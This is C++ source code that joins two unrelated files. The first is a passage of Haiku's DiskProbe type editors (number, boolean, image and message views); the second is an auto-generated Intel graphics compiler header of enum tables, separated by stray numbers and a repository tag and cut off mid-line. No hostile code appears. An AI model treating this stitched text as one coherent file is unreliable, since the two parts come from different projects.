_UpdateText(); } void MimeTypeEditor::DetachedFromWindow() { fEditor.StopWatching(this); CommitChanges(); } void MimeTypeEditor::MessageReceived(BMessage *message) { switch (message->what) { case kMsgValueChanged: fEditor.Replace(0, (const uint8 *)fTextControl->Text(), strlen(fTextControl->Text()) + 1); break; case kMsgDataEditorUpdate: _UpdateText(); break; default: BView::MessageReceived(message); } } // #pragma mark - NumberEditor NumberEditor::NumberEditor(BRect rect, DataEditor &editor) : TypeEditorView(rect, B_TRANSLATE("Number editor"), B_FOLLOW_LEFT_RIGHT, 0, editor) { SetViewUIColor(B_PANEL_BACKGROUND_COLOR); fTextControl = new BTextControl(rect.InsetByCopy(5, 5), B_EMPTY_STRING, _TypeLabel(), NULL, new BMessage(kMsgValueChanged), B_FOLLOW_ALL); fTextControl->SetDivider(StringWidth(fTextControl->Label()) + 8); fTextControl->SetAlignment(B_ALIGN_RIGHT, B_ALIGN_RIGHT); ResizeTo(rect.Width(), 30); AddChild(fTextControl); } void NumberEditor::_UpdateText() { if (fEditor.Lock()) { const char* number; if (fEditor.GetViewBuffer((const uint8**)&number) == B_OK) { char buffer[64]; char format[16]; switch (fEditor.Type()) { case B_FLOAT_TYPE: { float value = *(float*)number; snprintf(buffer, sizeof(buffer), "%g", value); break; } case B_DOUBLE_TYPE: { double value = *(double *)number; snprintf(buffer, sizeof(buffer), "%g", value); break; } case B_SSIZE_T_TYPE: case B_INT8_TYPE: case B_INT16_TYPE: case B_INT32_TYPE: case B_INT64_TYPE: case B_OFF_T_TYPE: { _Format(format); switch (_Size()) { case 1: { int8 value = *(int8 *)number; snprintf(buffer, sizeof(buffer), format, value); break; } case 2: { int16 value = *(int16 *)number; snprintf(buffer, sizeof(buffer), format, value); break; } case 4: { int32 value = *(int32 *)number; snprintf(buffer, sizeof(buffer), format, value); break; } case 8: { int64 value = *(int64 *)number; snprintf(buffer, sizeof(buffer), format, value); break; } } break; } default: { _Format(format); switch (_Size()) { case 1: { uint8 value = *(uint8 *)number; snprintf(buffer, sizeof(buffer), format, value); break; } case 2: { uint16 value = *(uint16 *)number; snprintf(buffer, sizeof(buffer), format, value); break; } case 4: { uint32 value = *(uint32 *)number; snprintf(buffer, sizeof(buffer), format, value); break; } case 8: { uint64 value = *(uint64 *)number; snprintf(buffer, sizeof(buffer), format, value); break; } } break; } } fTextControl->SetText(buffer); fPreviousText.SetTo(buffer); } fEditor.Unlock(); } } bool NumberEditor::TypeMatches() { return fEditor.FileSize() >= (off_t)_Size(); // we only look at as many bytes we need to } void NumberEditor::CommitChanges() { if (fPreviousText == fTextControl->Text()) return; const char *number = fTextControl->Text(); uint8 buffer[8]; switch (fEditor.Type()) { case B_FLOAT_TYPE: { float value = strtod(number, NULL); *(float *)buffer = value; break; } case B_DOUBLE_TYPE: { double value = strtod(number, NULL); *(double *)buffer = value; break; } case B_INT8_TYPE: { int64 value = strtoll(number, NULL, 0); if (value > CHAR_MAX) value = CHAR_MAX; else if (value < CHAR_MIN) value = CHAR_MIN; *(int8 *)buffer = (int8)value; break; } case B_UINT8_TYPE: { int64 value = strtoull(number, NULL, 0); if (value > UCHAR_MAX) value = UCHAR_MAX; *(uint8 *)buffer = (uint8)value; break; } case B_INT16_TYPE: { int64 value = strtoll(number, NULL, 0); if (value > SHRT_MAX) value = SHRT_MAX; else if (value < SHRT_MIN) value = SHRT_MIN; *(int16 *)buffer = (int16)value; break; } case B_UINT16_TYPE: { int64 value = strtoull(number, NULL, 0); if (value > USHRT_MAX) value = USHRT_MAX; *(uint16 *)buffer = (uint16)value; break; } case B_INT32_TYPE: case B_SSIZE_T_TYPE: { int64 value = strtoll(number, NULL, 0); if (value > LONG_MAX) value = LONG_MAX; else if (value < LONG_MIN) value = LONG_MIN; *(int32 *)buffer = (int32)value; break; } case B_UINT32_TYPE: case B_SIZE_T_TYPE: case B_POINTER_TYPE: { uint64 value = strtoull(number, NULL, 0); if (value > ULONG_MAX) value = ULONG_MAX; *(uint32 *)buffer = (uint32)value; break; } case B_INT64_TYPE: case B_OFF_T_TYPE: { int64 value = strtoll(number, NULL, 0); *(int64 *)buffer = value; break; } case B_UINT64_TYPE: { uint64 value = strtoull(number, NULL, 0); *(uint64 *)buffer = value; break; } default: return; } fEditor.Replace(0, buffer, _Size()); fPreviousText.SetTo((char *)buffer); } const char* NumberEditor::_TypeLabel() { switch (fEditor.Type()) { case B_INT8_TYPE: return B_TRANSLATE("8 bit signed value:"); case B_UINT8_TYPE: return B_TRANSLATE("8 bit unsigned value:"); case B_INT16_TYPE: return B_TRANSLATE("16 bit signed value:"); case B_UINT16_TYPE: return B_TRANSLATE("16 bit unsigned value:"); case B_INT32_TYPE: return B_TRANSLATE("32 bit signed value:"); case B_UINT32_TYPE: return B_TRANSLATE("32 bit unsigned value:"); case B_INT64_TYPE: return B_TRANSLATE("64 bit signed value:"); case B_UINT64_TYPE: return B_TRANSLATE("64 bit unsigned value:"); case B_FLOAT_TYPE: return B_TRANSLATE("Floating-point value:"); case B_DOUBLE_TYPE: return B_TRANSLATE("Double precision floating-point value:"); case B_SSIZE_T_TYPE: return B_TRANSLATE("32 bit size or status:"); case B_SIZE_T_TYPE: return B_TRANSLATE("32 bit unsigned size:"); case B_OFF_T_TYPE: return B_TRANSLATE("64 bit signed offset:"); case B_POINTER_TYPE: return B_TRANSLATE("32 bit unsigned pointer:"); default: return B_TRANSLATE("Number:"); } } size_t NumberEditor::_Size() { switch (fEditor.Type()) { case B_INT8_TYPE: case B_UINT8_TYPE: return 1; case B_INT16_TYPE: case B_UINT16_TYPE: return 2; case B_SSIZE_T_TYPE: case B_INT32_TYPE: case B_SIZE_T_TYPE: case B_POINTER_TYPE: case B_UINT32_TYPE: return 4; case B_INT64_TYPE: case B_OFF_T_TYPE: case B_UINT64_TYPE: return 8; case B_FLOAT_TYPE: return 4; case B_DOUBLE_TYPE: return 8; default: return 0; } } status_t NumberEditor::_Format(char *buffer) { switch (fEditor.Type()) { case B_INT8_TYPE: strcpy(buffer, "%hd"); return B_OK; case B_UINT8_TYPE: strcpy(buffer, "%hu"); return B_OK; case B_INT16_TYPE: strcpy(buffer, "%hd"); return B_OK; case B_UINT16_TYPE: strcpy(buffer, "%hu"); return B_OK; case B_SSIZE_T_TYPE: case B_INT32_TYPE: strcpy(buffer, "%ld"); return B_OK; case B_SIZE_T_TYPE: case B_POINTER_TYPE: case B_UINT32_TYPE: strcpy(buffer, "%lu"); return B_OK; case B_INT64_TYPE: case B_OFF_T_TYPE: strcpy(buffer, "%Ld"); return B_OK; case B_UINT64_TYPE: strcpy(buffer, "%Lu"); return B_OK; case B_FLOAT_TYPE: strcpy(buffer, "%g"); return B_OK; case B_DOUBLE_TYPE: strcpy(buffer, "%lg"); return B_OK; default: return B_ERROR; } } void NumberEditor::AttachedToWindow() { fTextControl->SetTarget(this); fEditor.StartWatching(this); _UpdateText(); } void NumberEditor::DetachedFromWindow() { fEditor.StopWatching(this); CommitChanges(); } void NumberEditor::MessageReceived(BMessage *message) { switch (message->what) { case kMsgValueChanged: CommitChanges(); break; case kMsgDataEditorUpdate: _UpdateText(); break; default: BView::MessageReceived(message); } } // #pragma mark - BooleanEditor BooleanEditor::BooleanEditor(BRect rect, DataEditor &editor) : TypeEditorView(rect, B_TRANSLATE("Boolean editor"), B_FOLLOW_NONE, 0, editor) { SetViewUIColor(B_PANEL_BACKGROUND_COLOR); BPopUpMenu *menu = new BPopUpMenu("bool"); BMessage *message; menu->AddItem(fFalseMenuItem = new BMenuItem("false", new BMessage(kMsgValueChanged))); menu->AddItem(fTrueMenuItem = new BMenuItem("true", message = new BMessage(kMsgValueChanged))); message->AddInt8("value", 1); BMenuField *menuField = new BMenuField(rect.InsetByCopy(5, 5), B_EMPTY_STRING, B_TRANSLATE("Boolean value:"), menu, B_FOLLOW_LEFT_RIGHT); menuField->SetDivider(StringWidth(menuField->Label()) + 8); menuField->ResizeToPreferred(); ResizeTo(menuField->Bounds().Width() + 10, menuField->Bounds().Height() + 10); _UpdateMenuField(); AddChild(menuField); } bool BooleanEditor::TypeMatches() { // we accept everything: we just look at the first byte, anyway return true; } void BooleanEditor::_UpdateMenuField() { if (fEditor.FileSize() != 1) return; if (fEditor.Lock()) { const char *buffer; if (fEditor.GetViewBuffer((const uint8 **)&buffer) == B_OK) (buffer[0] != 0 ? fTrueMenuItem : fFalseMenuItem)->SetMarked(true); fEditor.Unlock(); } } void BooleanEditor::CommitChanges() { // we're commiting the changes as they happen } void BooleanEditor::AttachedToWindow() { fTrueMenuItem->SetTarget(this); fFalseMenuItem->SetTarget(this); fEditor.StartWatching(this); } void BooleanEditor::DetachedFromWindow() { fEditor.StopWatching(this); } void BooleanEditor::MessageReceived(BMessage *message) { switch (message->what) { case kMsgValueChanged: { uint8 boolean = message->FindInt8("value"); fEditor.Replace(0, (const uint8 *)&boolean, 1); break; } case kMsgDataEditorUpdate: _UpdateMenuField(); break; default: BView::MessageReceived(message); } } // #pragma mark - ImageView ImageView::ImageView(DataEditor &editor) : TypeEditorView(B_TRANSLATE_COMMENT("Image view", "Image means here a " "picture file, not a disk image."), B_WILL_DRAW | B_FULL_UPDATE_ON_RESIZE, editor), fBitmap(NULL), fScaleSlider(NULL) { if (editor.Type() == B_MINI_ICON_TYPE || editor.Type() == B_LARGE_ICON_TYPE #ifdef HAIKU_TARGET_PLATFORM_HAIKU || editor.Type() == B_VECTOR_ICON_TYPE #endif ) SetName(B_TRANSLATE("Icon view")); fDescriptionView = new BStringView("", B_TRANSLATE_COMMENT("Could not read image", "Image means " "here a picture file, not a disk image.")); fDescriptionView->SetAlignment(B_ALIGN_CENTER); if (editor.Type() == B_VECTOR_ICON_TYPE) { // vector icon fScaleSlider = new BSlider("", NULL, new BMessage(kMsgScaleChanged), 2, 32, B_HORIZONTAL); fScaleSlider->SetModificationMessage(new BMessage(kMsgScaleChanged)); fScaleSlider->ResizeToPreferred(); fScaleSlider->SetValue(8); fScaleSlider->SetHashMarks(B_HASH_MARKS_BOTH); fScaleSlider->SetHashMarkCount(15); BLayoutBuilder::Group<>(this, B_HORIZONTAL) .SetInsets(B_USE_WINDOW_SPACING, 256, B_USE_WINDOW_SPACING, B_H_SCROLL_BAR_HEIGHT) // Leave space for the icon .AddGlue() .AddGroup(B_VERTICAL) .Add(fDescriptionView) .Add(fScaleSlider) .End() .AddGlue(); } else { BLayoutBuilder::Group<>(this, B_HORIZONTAL) .SetInsets(B_USE_WINDOW_SPACING, 256, B_USE_WINDOW_SPACING, B_USE_WINDOW_SPACING) // Leave space for the icon .AddGlue() .Add(fDescriptionView) .AddGlue(); } } ImageView::~ImageView() { delete fBitmap; } void ImageView::AttachedToWindow() { if (Parent() != NULL) SetViewColor(Parent()->ViewColor()); else SetViewUIColor(B_PANEL_BACKGROUND_COLOR); fEditor.StartWatching(this); if (fScaleSlider != NULL) fScaleSlider->SetTarget(this); _UpdateImage(); } void ImageView::DetachedFromWindow() { fEditor.StopWatching(this); } void ImageView::MessageReceived(BMessage *message) { switch (message->what) { case kMsgDataEditorUpdate: _UpdateImage(); break; case kMsgScaleChanged: _UpdateImage(); break; default: BView::MessageReceived(message); } } void ImageView::Draw(BRect updateRect) { if (fBitmap != NULL) { SetDrawingMode(B_OP_ALPHA); DrawBitmap(fBitmap, BPoint((Bounds().Width() - fBitmap->Bounds().Width()) / 2, 0)); SetDrawingMode(B_OP_COPY); } } void ImageView::_UpdateImage() { // ToDo: add scroller if necessary?! BAutolock locker(fEditor); // we need all the data... size_t viewSize = fEditor.ViewSize(); // that may need some more memory... if ((off_t)viewSize < fEditor.FileSize()) fEditor.SetViewSize(fEditor.FileSize()); const char *data; if (fEditor.GetViewBuffer((const uint8 **)&data) != B_OK) { fEditor.SetViewSize(viewSize); return; } if (fBitmap != NULL && (fEditor.Type() == B_MINI_ICON_TYPE || fEditor.Type() == B_LARGE_ICON_TYPE)) { // optimize icon update... fBitmap->SetBits(data, fEditor.FileSize(), 0, B_CMAP8); fEditor.SetViewSize(viewSize); return; } #ifdef HAIKU_TARGET_PLATFORM_HAIKU if (fBitmap != NULL && fEditor.Type() == B_VECTOR_ICON_TYPE && fScaleSlider->Value() * 8 - 1 == fBitmap->Bounds().Width()) { if (BIconUtils::GetVectorIcon((const uint8 *)data, (size_t)fEditor.FileSize(), fBitmap) == B_OK) { fEditor.SetViewSize(viewSize); return; } } #endif delete fBitmap; fBitmap = NULL; switch (fEditor.Type()) { case B_MINI_ICON_TYPE: fBitmap = new BBitmap(BRect(0, 0, 15, 15), B_CMAP8); if (fBitmap->InitCheck() == B_OK) fBitmap->SetBits(data, fEditor.FileSize(), 0, B_CMAP8); break; case B_LARGE_ICON_TYPE: fBitmap = new BBitmap(BRect(0, 0, 31, 31), B_CMAP8); if (fBitmap->InitCheck() == B_OK) fBitmap->SetBits(data, fEditor.FileSize(), 0, B_CMAP8); break; #ifdef HAIKU_TARGET_PLATFORM_HAIKU case B_VECTOR_ICON_TYPE: fBitmap = new BBitmap(BRect(0, 0, fScaleSlider->Value() * 8 - 1, fScaleSlider->Value() * 8 - 1), B_RGB32); if (fBitmap->InitCheck() != B_OK || BIconUtils::GetVectorIcon((const uint8 *)data, (size_t)fEditor.FileSize(), fBitmap) != B_OK) { delete fBitmap; fBitmap = NULL; } break; #endif case B_PNG_FORMAT: { BMemoryIO stream(data, fEditor.FileSize()); fBitmap = BTranslationUtils::GetBitmap(&stream); break; } case B_MESSAGE_TYPE: { BMessage message; // ToDo: this could be problematic if the data is not large // enough to contain the message... if (message.Unflatten(data) == B_OK) fBitmap = new BBitmap(&message); break; } } // Update the bitmap description. If no image can be displayed, // we will show our "unsupported" message if (fBitmap != NULL && fBitmap->InitCheck() != B_OK) { delete fBitmap; fBitmap = NULL; } if (fBitmap != NULL) { char buffer[256]; const char *type = B_TRANSLATE("Unknown type"); switch (fEditor.Type()) { case B_MINI_ICON_TYPE: case B_LARGE_ICON_TYPE: #ifdef HAIKU_TARGET_PLATFORM_HAIKU case B_VECTOR_ICON_TYPE: #endif type = B_TRANSLATE("Icon"); break; case B_PNG_FORMAT: type = B_TRANSLATE("PNG format"); break; case B_MESSAGE_TYPE: type = B_TRANSLATE("Flattened bitmap"); break; default: break; } const char *colorSpace; switch (fBitmap->ColorSpace()) { case B_GRAY1: case B_GRAY8: colorSpace = B_TRANSLATE("Grayscale"); break; case B_CMAP8: colorSpace = B_TRANSLATE("8 bit palette"); break; case B_RGB32: case B_RGBA32: case B_RGB32_BIG: case B_RGBA32_BIG: colorSpace = B_TRANSLATE("32 bit"); break; case B_RGB15: case B_RGBA15: case B_RGB15_BIG: case B_RGBA15_BIG: colorSpace = B_TRANSLATE("15 bit"); break; case B_RGB16: case B_RGB16_BIG: colorSpace = B_TRANSLATE("16 bit"); break; default: colorSpace = B_TRANSLATE("Unknown format"); break; } snprintf(buffer, sizeof(buffer), "%s, %g x %g, %s", type, fBitmap->Bounds().Width() + 1, fBitmap->Bounds().Height() + 1, colorSpace); fDescriptionView->SetText(buffer); } else fDescriptionView->SetText(B_TRANSLATE_COMMENT("Could not read image", "Image means here a picture file, not a disk image.")); if (fBitmap != NULL) { if (fScaleSlider != NULL) { if (fScaleSlider->IsHidden()) fScaleSlider->Show(); } } else if (fScaleSlider != NULL && !fScaleSlider->IsHidden()) fScaleSlider->Hide(); Invalidate(); // restore old view size fEditor.SetViewSize(viewSize); } // #pragma mark - MessageView MessageView::MessageView(BRect rect, DataEditor &editor) : TypeEditorView(rect, B_TRANSLATE("Message View"), B_FOLLOW_ALL, 0, editor) { SetViewUIColor(B_PANEL_BACKGROUND_COLOR); rect = Bounds().InsetByCopy(10, 10); rect.right -= B_V_SCROLL_BAR_WIDTH; rect.bottom -= B_H_SCROLL_BAR_HEIGHT; fTextView = new BTextView(rect, B_EMPTY_STRING, rect.OffsetToCopy(B_ORIGIN).InsetByCopy(5, 5), B_FOLLOW_ALL, B_WILL_DRAW); fTextView->SetViewUIColor(ViewUIColor()); fTextView->SetLowUIColor(ViewUIColor()); BScrollView *scrollView = new BScrollView("scroller", fTextView, B_FOLLOW_ALL, B_WILL_DRAW, true, true); AddChild(scrollView); } MessageView::~MessageView() { } BString MessageView::_TypeToString(type_code type) { // TODO: move this to a utility function (it's a copy from something // similar in ProbeView.cpp) char text[32]; for (int32 i = 0; i < 4; i++) { text[i] = type >> (24 - 8 * i); if (text[i] < ' ' || text[i] == 0x7f) { snprintf(text, sizeof(text), "0x%04" B_PRIx32, type); break; } else if (i == 3) text[4] = '\0'; } return BString(text); } void MessageView::SetTo(BMessage& message) { // TODO: when we have a real column list/tree view, redo this using // it with nice editors as well. fTextView->SetText(""); char text[512]; snprintf(text, sizeof(text), B_TRANSLATE_COMMENT("what: '%.4s'\n\n", "'What' is a message specifier that defines the type of the message."), (char*)&message.what); fTextView->Insert(text); type_code type; int32 count; #ifdef HAIKU_TARGET_PLATFORM_DANO const #endif char* name; for (int32 i = 0; message.GetInfo(B_ANY_TYPE, i, &name, &type, &count) == B_OK; i++) { snprintf(text, sizeof(text), "%s\t", _TypeToString(type).String()); fTextView->Insert(text); text_run_array array; array.count = 1; array.runs[0].offset = 0; array.runs[0].font.SetFace(B_BOLD_FACE); array.runs[0].color = (rgb_color){0, 0, 0, 255}; fTextView->Insert(name, &array); array.runs[0].font = be_plain_font; fTextView->Insert("\n", &array); for (int32 j = 0; j < count; j++) { const char* data; ssize_t size; if (message.FindData(name, type, j, (const void**)&data, &size) != B_OK) continue; text[0] = '\0'; switch (type) { case B_INT64_TYPE: snprintf(text, sizeof(text), "%" B_PRId64, *(int64*)data); break; case B_UINT64_TYPE: snprintf(text, sizeof(text), "%" B_PRIu64, *(uint64*)data); break; case B_INT32_TYPE: snprintf(text, sizeof(text), "%" B_PRId32, *(int32*)data); break; case B_UINT32_TYPE: snprintf(text, sizeof(text), "%" B_PRIu32, *(uint32*)data); break; case B_BOOL_TYPE: if (*(uint8*)data) strcpy(text, "true"); else strcpy(text, "false"); break; case B_STRING_TYPE: case B_MIME_STRING_TYPE: { snprintf(text, sizeof(text), "%s", data); break; } } if (text[0]) { fTextView->Insert("\t\t"); if (count > 1) { char index[16]; snprintf(index, sizeof(index), "%" B_PRId32 ".\t", j); fTextView->Insert(index); } fTextView->Insert(text); fTextView->Insert("\n"); } } } } void MessageView::_UpdateMessage() { BAutolock locker(fEditor); size_t viewSize = fEditor.ViewSize(); // that may need some more memory... if ((off_t)viewSize < fEditor.FileSize()) fEditor.SetViewSize(fEditor.FileSize()); const char *buffer; if (fEditor.GetViewBuffer((const uint8 **)&buffer) == B_OK) { BMessage message; message.Unflatten(buffer); SetTo(message); } // restore old view size fEditor.SetViewSize(viewSize); } void MessageView::AttachedToWindow() { fEditor.StartWatching(this); _UpdateMessage(); } void MessageView::DetachedFromWindow() { fEditor.StopWatching(this); } void MessageView::MessageReceived(BMessage* message) { BView::MessageReceived(message); } // #pragma mark - TypeEditorView* GetTypeEditorFor(BRect rect, DataEditor& editor) { switch (editor.Type()) { case B_STRING_TYPE: return new StringEditor(editor); case B_MIME_STRING_TYPE: return new MimeTypeEditor(rect, editor); case B_BOOL_TYPE: return new BooleanEditor(rect, editor); case B_INT8_TYPE: case B_UINT8_TYPE: case B_INT16_TYPE: case B_UINT16_TYPE: case B_INT32_TYPE: case B_UINT32_TYPE: case B_INT64_TYPE: case B_UINT64_TYPE: case B_FLOAT_TYPE: case B_DOUBLE_TYPE: case B_SSIZE_T_TYPE: case B_SIZE_T_TYPE: case B_OFF_T_TYPE: case B_POINTER_TYPE: return new NumberEditor(rect, editor); case B_MESSAGE_TYPE: // TODO: check for archived bitmaps!!! return new MessageView(rect, editor); case B_MINI_ICON_TYPE: case B_LARGE_ICON_TYPE: case B_PNG_FORMAT: #ifdef HAIKU_TARGET_PLATFORM_HAIKU case B_VECTOR_ICON_TYPE: #endif return new ImageView(editor); } return NULL; } status_t GetNthTypeEditor(int32 index, const char** _name) { static const char* kEditors[] = { B_TRANSLATE_COMMENT("Text", "This is the type of editor"), B_TRANSLATE_COMMENT("Number", "This is the type of editor"), B_TRANSLATE_COMMENT("Boolean", "This is the type of editor"), B_TRANSLATE_COMMENT("Message", "This is the type of view"), B_TRANSLATE_COMMENT("Image", "This is the type of view") }; if (index < 0 || index >= int32(sizeof(kEditors) / sizeof(kEditors[0]))) return B_BAD_VALUE; *_name = kEditors[index]; return B_OK; } TypeEditorView* GetTypeEditorAt(int32 index, BRect rect, DataEditor& editor) { TypeEditorView* view = NULL; switch (index) { case 0: view = new StringEditor(editor); break; case 1: view = new NumberEditor(rect, editor); break; case 2: view = new BooleanEditor(rect, editor); break; case 3: view = new MessageView(rect, editor); break; case 4: view = new ImageView(editor); break; default: return NULL; } if (view == NULL) return NULL; if (!view->TypeMatches()) { delete view; return NULL; } return view; }
12,377
440
<reponame>kurapov-peter/intel-graphics-compiler /*========================== begin_copyright_notice ============================ Copyright (C) 2017-2021 Intel Corporation SPDX-License-Identifier: MIT ============================= end_copyright_notice ===========================*/ /* * !!! DO NOT EDIT THIS FILE !!! * * This file was automagically crafted by GED's model parser. */ #ifndef GED_ENUM_TABLES_H #define GED_ENUM_TABLES_H #include "common/ged_types_internal.h" #include "ged_enumerations.h" extern const ged_unsigned_enum_value_t* unsignedTable0[8]; extern const ged_unsigned_enum_value_t* unsignedTable1[8]; extern const ged_unsigned_enum_value_t* unsignedTable2[4]; extern const ged_unsigned_enum_value_t* unsignedTable3[4]; extern const ged_unsigned_enum_value_t* unsignedTable4[2]; extern const ged_unsigned_enum_value_t* unsignedTable5[8]; extern const ged_unsigned_enum_value_t* unsignedTable6[8]; extern const ged_unsigned_enum_value_t* unsignedTable7[16]; extern const ged_unsigned_enum_value_t* unsignedTable8[4]; extern const ged_unsigned_enum_value_t* unsignedTable9[8]; extern const ged_unsigned_enum_value_t* unsignedTable10[4]; extern const ged_unsigned_enum_value_t* unsignedTable11[4]; extern const ged_unsigned_enum_value_t* unsignedTable12[16]; extern const ged_unsigned_enum_value_t* unsignedTable13[4]; extern const ged_unsigned_enum_value_t* unsignedTable14[4]; extern const ged_unsigned_enum_value_t* unsignedTable15[8]; extern const ged_unsigned_enum_value_t* unsignedTable16[8]; extern const ged_unsigned_enum_value_t* unsignedTable17[16]; extern const ged_unsigned_enum_value_t* unsignedTable18[16]; extern const ged_unsigned_enum_value_t* unsignedTable19[16]; extern const ged_unsigned_enum_value_t* unsignedTable20[16]; extern const ged_unsigned_enum_value_t* unsignedTable21[16]; extern const ged_unsigned_enum_value_t* unsignedTable22[16]; extern const ged_unsigned_enum_value_t* unsignedTable23[16]; extern const ged_unsigned_enum_value_t* unsignedTable24[16]; extern const ged_unsigned_enum_value_t* unsignedTable25[16]; extern const ged_unsigned_enum_value_t* unsignedTable26[14]; extern const GED_ACCESS_MODE* AccessModeTable0[2]; extern const GED_ACCESS_MODE* AccessModeTable1[2]; extern const GED_ACC_WR_CTRL* AccWrCtrlTable0[2]; extern const GED_ADDR_MODE* AddrModeTable0[2]; extern const GED_ADDR_MODE* AddrModeTable1[2]; extern const GED_ARCH_REG* ArchRegTable0[16]; extern const GED_ARCH_REG* ArchRegTable1[16]; extern const GED_ARCH_REG* ArchRegTable2[16]; extern const GED_ATOMIC_OPERATION_TYPE* AtomicOperationTypeTable0[16]; extern const GED_ATOMIC_OPERATION_TYPE* AtomicOperationTypeTable1[16]; extern const GED_BLOCK_SIZE* BlockSizeTable0[8]; extern const GED_BRANCH_CTRL* BranchCtrlTable0[2]; extern const GED_CHANNEL_MASK* ChannelMaskTable0[2]; extern const GED_CHANNEL_MASK* ChannelMaskTable1[2]; extern const GED_CHANNEL_MASK* ChannelMaskTable2[2]; extern const GED_CHANNEL_MASK* ChannelMaskTable3[2]; extern const GED_CHANNEL_MODE* ChannelModeTable0[2]; extern const GED_CHANNEL_OFFSET* ChannelOffsetTable0[8]; extern const GED_COND_MODIFIER* CondModifierTable0[16]; extern const GED_COND_MODIFIER* CondModifierTable1[4]; extern const GED_DATA_TYPE* DataTypeTable0[16]; extern const GED_DATA_TYPE* DataTypeTable1[16]; extern const GED_DATA_TYPE* DataTypeTable2[16]; extern const GED_DATA_TYPE* DataTypeTable3[16]; extern const GED_DATA_TYPE* DataTypeTable4[16]; extern const GED_DATA_TYPE* DataTypeTable5[8]; extern const GED_DATA_TYPE* DataTypeTable6[2]; extern const GED_DATA_TYPE* DataTypeTable7[8]; extern const GED_DATA_TYPE* DataTypeTable8[8]; extern const GED_DATA_TYPE* DataTypeTable9[16]; extern const GED_DATA_TYPE* DataTypeTable10[16]; extern const GED_DATA_TYPE* DataTypeTable11[16]; extern const GED_DATA_TYPE* DataTypeTable12[8]; extern const GED_DATA_TYPE* DataTypeTable13[16]; extern const GED_DATA_TYPE* DataTypeTable14[16]; extern const GED_DATA_TYPE* DataTypeTable15[16]; extern const GED_DATA_TYPE* DataTypeTable16[16]; extern const GED_DATA_TYPE* DataTypeTable17[8]; extern const GED_DATA_TYPE* DataTypeTable18[8]; extern const GED_DATA_TYPE* DataTypeTable19[16]; extern const GED_DATA_TYPE* DataTypeTable20[8]; extern const GED_DATA_TYPE* DataTypeTable21[8]; extern const GED_DATA_TYPE* DataTypeTable22[8]; extern const GED_DATA_TYPE* DataTypeTable23[8]; extern const GED_DATA_TYPE* DataTypeTable24[8]; extern const GED_DATA_TYPE* DataTypeTable25[8]; extern const GED_DATA_TYPE* DataTypeTable26[8]; extern const GED_DATA_TYPE* DataTypeTable27[8]; extern const GED_DATA_TYPE* DataTypeTable28[4]; extern const GED_DEBUG_CTRL* DebugCtrlTable0[2]; extern const GED_DEP_CTRL* DepCtrlTable0[4]; extern const GED_DST_CHAN_EN* DstChanEnTable0[16]; extern const GED_EOT* EOTTable0[2]; extern const GED_EXEC_MASK_OFFSET_CTRL* ExecMaskOffsetCtrlTable0[8]; extern const GED_EXEC_MASK_OFFSET_CTRL* ExecMaskOffsetCtrlTable1[8]; extern const GED_EXEC_MASK_OFFSET_CTRL* ExecMaskOffsetCtrlTable2[8]; extern const GED_EXECUTION_DATA_TYPE* ExecutionDataTypeTable0[2]; extern const GED_FUSION_CTRL* FusionCtrlTable0[2]; extern const GED_HEADER_PRESENT* HeaderPresentTable0[2]; extern const GED_MASK_CTRL* MaskCtrlTable0[2]; extern const GED_MASK_CTRL* MaskCtrlTable1[2]; extern const GED_MATH_FC* MathFCTable0[16]; extern const GED_MATH_FC* MathFCTable1[16]; extern const GED_MATH_FC* MathFCTable2[16]; extern const GED_MATH_MACRO_EXT* MathMacroExtTable0[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable0[2]; extern const GED_MESSAGE_TYPE* MessageTypeTable1[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable2[32]; extern const GED_MESSAGE_TYPE* MessageTypeTable3[32]; extern const GED_MESSAGE_TYPE* MessageTypeTable4[32]; extern const GED_MESSAGE_TYPE* MessageTypeTable5[32]; extern const GED_MESSAGE_TYPE* MessageTypeTable6[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable7[32]; extern const GED_MESSAGE_TYPE* MessageTypeTable8[32]; extern const GED_MESSAGE_TYPE* MessageTypeTable9[32]; extern const GED_MESSAGE_TYPE* MessageTypeTable10[32]; extern const GED_MESSAGE_TYPE* MessageTypeTable11[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable12[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable13[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable14[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable15[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable16[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable17[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable18[16]; extern const GED_MESSAGE_TYPE* MessageTypeTable19[32]; extern const GED_MESSAGE_TYPE* MessageTypeTable20[32]; extern const GED_NO_SRC_DEP_SET* NoSrcDepSetTable0[2]; extern const GED_OPCODE* OpcodeTable0[128]; extern const GED_OPCODE* OpcodeTable1[128]; extern const GED_OPCODE* OpcodeTable2[128]; extern const GED_OPCODE* OpcodeTable3[128]; extern const GED_OPCODE* OpcodeTable4[128]; extern const GED_OPCODE* OpcodeTable5[128]; extern const GED_OPCODE* OpcodeTable6[128]; extern const GED_PRECISION* PrecisionTable0[32]; extern const GED_PRECISION* PrecisionTable1[32]; extern const GED_PRED_CTRL* PredCtrlTable0[16]; extern const GED_PRED_CTRL* PredCtrlTable1[16]; extern const GED_PRED_INV* PredInvTable0[2]; extern const GED_REG_FILE* RegFileTable0[4]; extern const GED_REG_FILE* RegFileTable1[4]; extern const GED_REG_FILE* RegFileTable2[4]; extern const GED_REG_FILE* RegFileTable3[4]; extern const GED_REG_FILE* RegFileTable4[4]; extern const GED_REG_FILE* RegFileTable5[4]; extern const GED_REG_FILE* RegFileTable6[2]; extern const GED_REG_FILE* RegFileTable7[2]; extern const GED_REG_FILE* RegFileTable8[2]; extern const GED_REG_FILE* RegFileTable9[2]; extern const GED_REG_FILE* RegFileTable10[2]; extern const GED_REG_FILE* RegFileTable11[2]; extern const GED_REG_FILE* RegFileTable12[2]; extern const GED_REG_FILE* RegFileTable13[4]; extern const GED_REG_FILE* RegFileTable14[4]; extern const GED_REP_CTRL* RepCtrlTable0[2]; extern const GED_RETURN_DATA_CONTROL* ReturnDataControlTable0[2]; extern const GED_SATURATE* SaturateTable0[2]; extern const GED_SFID* SFIDTable0[16]; extern const GED_SFID* SFIDTable1[16]; extern const GED_SFID* SFIDTable2[16]; extern const GED_SIMDMODE* SIMDModeTable0[4]; extern const GED_SIMDMODE* SIMDModeTable1[2]; extern const GED_SLOT_GROUP* SlotGroupTable0[4]; extern const GED_SLOT_GROUP* SlotGroupTable1[2]; extern 